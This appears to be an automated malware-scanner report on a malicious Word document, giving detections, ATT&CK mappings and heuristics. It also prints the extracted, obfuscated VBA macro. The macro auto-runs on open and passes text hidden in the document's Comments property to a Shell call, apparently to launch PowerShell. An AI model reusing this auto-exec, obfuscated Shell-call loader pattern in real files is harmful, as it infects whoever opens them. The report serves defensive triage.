MALICIOUS
212
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1204.002 Malicious File
The file contains VBA macros with an autoopen subroutine, which is a common technique for executing malicious code upon opening a document. The macros reference PowerShell and a Shell call, indicating an attempt to download and execute a secondary payload. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further supports its malicious nature.
Heuristics 8
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ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
UZgLXHPucz = "aNpenMBgKc" + "GWZunFmzm" + "dKtvEUWgRyV" + "nSzttLTy" + "pzFDvTPw" + "ZWYbbtzaxN" + LUzmFUwVm = "mumbrgzCx" + "bcCyWmyxdc" + "ySXZVWnFhU" + "AtskbczY" + "MVMCmZmgNER" + "sutAYnL" + HXBsLnVy = "FrWZuUR" + "VvSpBUxy" + "sUYkmVyr" + "TTuMbaAZAfV" + "HdywcBUVYSF" + "SytFYtWLNN" + HvswvnwfWrb = "augyfAT" + "xGrruPrpPgP" + "VsYHdcEz" + "VwmYZGya" + "vDaFxAcS" + "vWnKzVD" + "zCHmtYUnd" VBA.Shell$ "" + "" + VzbSXczYHbn + vswfsBNPV + GAVbeMw + DSnekSLcCu + wArwgEnc + stnKRuWGN + ucDVnypc + HmSMzdwg + kAzsdPwxdGT + EGzBhppzkn + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0 wbGHtuRWzUg = "FpehYUCeg" + "hSWhhWEuGen" + "EhrCytuedZ" + "CdsnVgvtWKu" + "FPuRGAkw" + "caXskZyHEVh" + zEPSgXwzyf = "NmMTbvsu" + "ZrzEbufhYt" + "CZsCCuM" + "PGbZZym" + "MegfruFgWFr" + "TBrHFNF" + vGmeNeDNFCd = "AUTrKbK" + "wDYbNFKK" + "AAzYaZrc" + "MgpHzkGmTN" + "SUVdtFKEEF" + "CTEUrUUpVwr" + "ceYLrSHy" -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "Module1" Sub autoopen() BXezYabEN -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2311 bytes |
SHA-256: 8f95107cbdea661d2b46f29e2d2c56619b77b2ab96927ad4f06edb2d7d2fdd74 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
118 of 151 identifiers look randomly generated (e.g. 'GVbFUdkfPWA') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub autoopen()
BXezYabEN
End Sub
Function BXezYabEN()
GcEebMHSrTR = "ncpGBhUfzfV" + "FbFktTxMn" + "vmATDbLL" + "kfcLwNh" + "vgWczTVbZsn" + "zpXnEPc" + LrwwVwwmXz = "vggXyxrHF" + "YfEdxYvbn" + "SwKegbMVNh" + "eTfVCrGSkuh" + "tyEMsHx" + "FPKERTbpsmm" + LWKZAnhv = "ECTBXMP" + "mmPGhHMNDFY" + "txKUDamaRS" + "fuyMfNMN" + "EcCEEDuCyZ" + "WzrwXpYYC" + fGhhVmabMw = "ugbndPN" + "BYZHxZmbu" + "cPLFxZHAG" + "GVbFUdkfPWA" + "nGvTbDZPwv" + "NBHMxvzkb" + HMUHuMWZa = "XUWpXNXHsd" + "UWSeuahK" + "XUNAZSg" + "BXYpYzHEH" + "RmsfYPF" + "tcDhnWEUBv" + "HXgVFAM"
UZgLXHPucz = "aNpenMBgKc" + "GWZunFmzm" + "dKtvEUWgRyV" + "nSzttLTy" + "pzFDvTPw" + "ZWYbbtzaxN" + LUzmFUwVm = "mumbrgzCx" + "bcCyWmyxdc" + "ySXZVWnFhU" + "AtskbczY" + "MVMCmZmgNER" + "sutAYnL" + HXBsLnVy = "FrWZuUR" + "VvSpBUxy" + "sUYkmVyr" + "TTuMbaAZAfV" + "HdywcBUVYSF" + "SytFYtWLNN" + HvswvnwfWrb = "augyfAT" + "xGrruPrpPgP" + "VsYHdcEz" + "VwmYZGya" + "vDaFxAcS" + "vWnKzVD" + "zCHmtYUnd"
VBA.Shell$ "" + "" + VzbSXczYHbn + vswfsBNPV + GAVbeMw + DSnekSLcCu + wArwgEnc + stnKRuWGN + ucDVnypc + HmSMzdwg + kAzsdPwxdGT + EGzBhppzkn + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
wbGHtuRWzUg = "FpehYUCeg" + "hSWhhWEuGen" + "EhrCytuedZ" + "CdsnVgvtWKu" + "FPuRGAkw" + "caXskZyHEVh" + zEPSgXwzyf = "NmMTbvsu" + "ZrzEbufhYt" + "CZsCCuM" + "PGbZZym" + "MegfruFgWFr" + "TBrHFNF" + vGmeNeDNFCd = "AUTrKbK" + "wDYbNFKK" + "AAzYaZrc" + "MgpHzkGmTN" + "SUVdtFKEEF" + "CTEUrUUpVwr" + "ceYLrSHy"
LUvzsCveD = "yUnDCGAN" + "cYdvKzFDsF" + "uAUBypGApcF" + "bWDkfEXTSNX" + "kazexFGCmxR" + "LcTYEFsRUrp" + UBhcNkT = "NuuLmLdxNY" + "znXZRrRxrsh" + "SvcmRAb" + "VGsPWGWzn" + "BNbUBSWXW" + "mEtNKkcPTHk" + PeKEHeguWDT = "ybMzMPLWBSW" + "LtawTTwzEb" + "fprKwDyPb" + "uuzsxBHe" + "UnVGYpp" + "CNArLVzCKru" + aSAYbrDx = "HrAnMmZCwXT" + "GSZcTKvBaRA" + "fAmSCcWw" + "DAbwVaEZK" + "ryEwzbAzK" + "hAvmsKUkTZs" + TvPakbWz = "EyTkshHT" + "HUGykRuGw" + "PTRDvMxRwZH" + "tgtMvsBk" + "RWvYTFXrzZ" + "GUdwnhzruWr" + "zTLVKbCzU"
End Function
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